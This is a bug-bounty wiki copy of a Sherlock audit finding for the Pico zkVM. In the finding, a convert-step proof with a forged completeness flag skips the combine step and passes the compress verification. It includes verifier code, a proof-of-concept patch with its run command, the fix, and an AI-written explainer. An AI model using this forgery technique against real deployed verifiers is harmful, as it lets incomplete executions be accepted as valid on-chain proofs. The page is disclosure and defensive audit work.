Skip to content
Crypto Audit finding Advanced

compress right after convert can bypass completeness checks

The convert step in the recursion pipeline could produce a proof with the completeness flag set to true even for a single chunk, and the compress step did not re-check completeness, so a malicious prover could skip the combine step and have an incomplete execution accepted as complete. This could allow a false proof of execution to be verified on-chain.

MissDida Follow with cergyk

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/137

Found by

MissDida, cergyk

Description

In the recursion pipeline of pico, multiple recursion circuits are whitelisted, and the typical recursion pipeline goes like this:

  1. riscv proof (leaf) -> A single precompile, memory, or execution chunk is proven
  2. convert -> Leaf riscv proof is converted to a recursion-compatible proof (has recursion public values)
  3. combine -> Multiple recursion proofs are combined together into one. Checks execution completeness (all shards are included).
  4. compress -> Checks that the proof is complete and reduces the size of the proof
  5. embed -> Adapts the proof field to be compatible with on-chain verifying

At each step of recursion, it is checked that the provided child proofs have vks included in merkle tree (below is the combine step):

vk_merkle/builder.rs#L67-L102:

Rust
    pub fn build(
        machine: &BaseMachine<SC, C>,
        input: &RecursionVkStdin<SC, C>,
    ) -> RecursionProgram<Val<SC>> {
        debug!("Build CombineVkVerifierCircuit Program");
        // Construct the builder.
        let mut builder = Builder::<CC>::new();
        let input = input.read(&mut builder);
        let RecursionVkStdinVariable {
            recursion_stdin_var,
            merkle_proof_var,
        } = input;


        let vk_root: [Felt<Val<SC>>; 8] = merkle_proof_var.merkle_root.map(|x| builder.eval(x));

        // Constraint that the vk_root of the merkle tree aligns with the vk_root of the recursion_stdin
        for (expected, actual) in vk_root.iter().zip(recursion_stdin_var.vk_root.iter()) {
            builder.assert_felt_eq(*expected, *actual);
        }

        // Constraint that ensures all the vk of the recursion program are included in the vk Merkle tree.
        //@audit-ok all of the child proofs vks are included in the merkle tree
>>     let vk_digests = recursion_stdin_var
            .vks
            .iter()
            .map(|vk| vk.hash_field(&mut builder))
            .collect::<Vec<_>>();


        MerkleProofVerifier::verify(&mut builder, vk_digests, merkle_proof_var);
        CombineVerifierCircuit::build_verifier(&mut builder, machine, recursion_stdin_var);
        let operations = builder.into_operations();


        // Compile the program.
        let mut compiler = DslIrCompiler::<CC>::default();
        compiler.compile(operations)
    }
}

Unfortunately, it seems that it has not been considered that a convert proof could also be verified directly by a compress proof. A single chunk can be provided (for example, a precompile chunk with only padding rows) with a flag_complete set to true, and would be verified as complete execution by the compress recursion circuit.

POC

Apply the following changes to the prover_chain and run test_proverchain:

git apply POC.patch RUST_LOG=INFO FRI_QUERIES=1 VK_VERIFICATION=false cargo run --package pico-vm --example test_proverchain -- --elf=fib --n=3

POC.patch:

Diff
diff --git a/vm/examples/test_proverchain.rs b/vm/examples/test_proverchain.rs
index 2dcc21f..0f263de 100644
--- a/vm/examples/test_proverchain.rs
+++ b/vm/examples/test_proverchain.rs
@@ -39,8 +39,8 @@ fn main() {
     info!("Proving RECURSION..");
     let proof = convert.prove(proof);
     assert!(convert.verify(&proof, riscv_vk));
-    let proof = combine.prove(proof);
-    assert!(combine.verify(&proof, riscv_vk));
+    // let proof = combine.prove(proof);
+    // assert!(combine.verify(&proof, riscv_vk));
     let proof = compress.prove(proof);
     assert!(compress.verify(&proof, riscv_vk));
     let proof = embed.prove(proof);
diff --git a/vm/src/emulator/stdin.rs b/vm/src/emulator/stdin.rs
index 3bce848..cfca957 100644
--- a/vm/src/emulator/stdin.rs
+++ b/vm/src/emulator/stdin.rs
@@ -217,13 +217,14 @@ where
         riscv_vk.observed_by(&mut reconstruct_challenger);
 
         // construct programs and inputs
-        let total = proofs.len();
+        // let total = proofs.len();
 
         let pairs: Vec<_> = proofs
             .par_iter()
             .enumerate()
             .map(|(i, proof)| {
-                let flag_complete = i == total - 1;
+                //@audit-ok set flag_complete always true
+                let flag_complete = true;
                 let flag_first_chunk = i == 0;
 
                 let input = ConvertStdin {
@@ -249,6 +250,8 @@ where
 
                 (program, input)
             })
+            //@audit-ok have only one proof for compress down the line
+            .take(1)
             .collect();
 
         let (programs, inputs): (Vec<_>, Vec<_>) = pairs.into_iter().unzip();

Recommendation

It seems that the simpler way to fix this is to either check the completeness conditions on a convert proof (exit_code == 0 and end_pc == 0 and contains_cpu), or more radically, to not allow setting flag_complete == true in convert

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/brevis-network/pico/pull/61

The original report as published on Sherlock, by MissDida. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the convert step allowed setting the completeness flag to true without verifying that all chunks were present, and the compress step did not independently check completeness conditions.

Impact

An attacker could produce a proof that is accepted as complete even though not all chunks were processed, potentially allowing false execution proofs to be verified on-chain.

What the attacker needed

Ability to craft a malicious proof; access to the prover pipeline

The fix

The issue was fixed by either checking completeness conditions on the convert proof or by not allowing the completeness flag to be set to true in the convert step.

How it was found

  1. Modify the prover chain to skip the combine step.
  2. Set the completeness flag to true for every proof in the convert step.
  3. Take only one proof to pass to the compress step.
  4. Run the test prover chain with the modified code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In zero-knowledge proof systems, a prover can split a large computation into smaller chunks and then combine them. The system must ensure that all chunks are included before accepting the final proof. Here, a shortcut allowed a prover to skip the combining step and still get a proof accepted, even though not all chunks were processed. This means someone could falsely claim that a computation was fully executed when it was not.

What is Crypto?

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.

More from Brevis Pico ZKVM

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cryptographic weaknesses

The lesson behind this report.

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.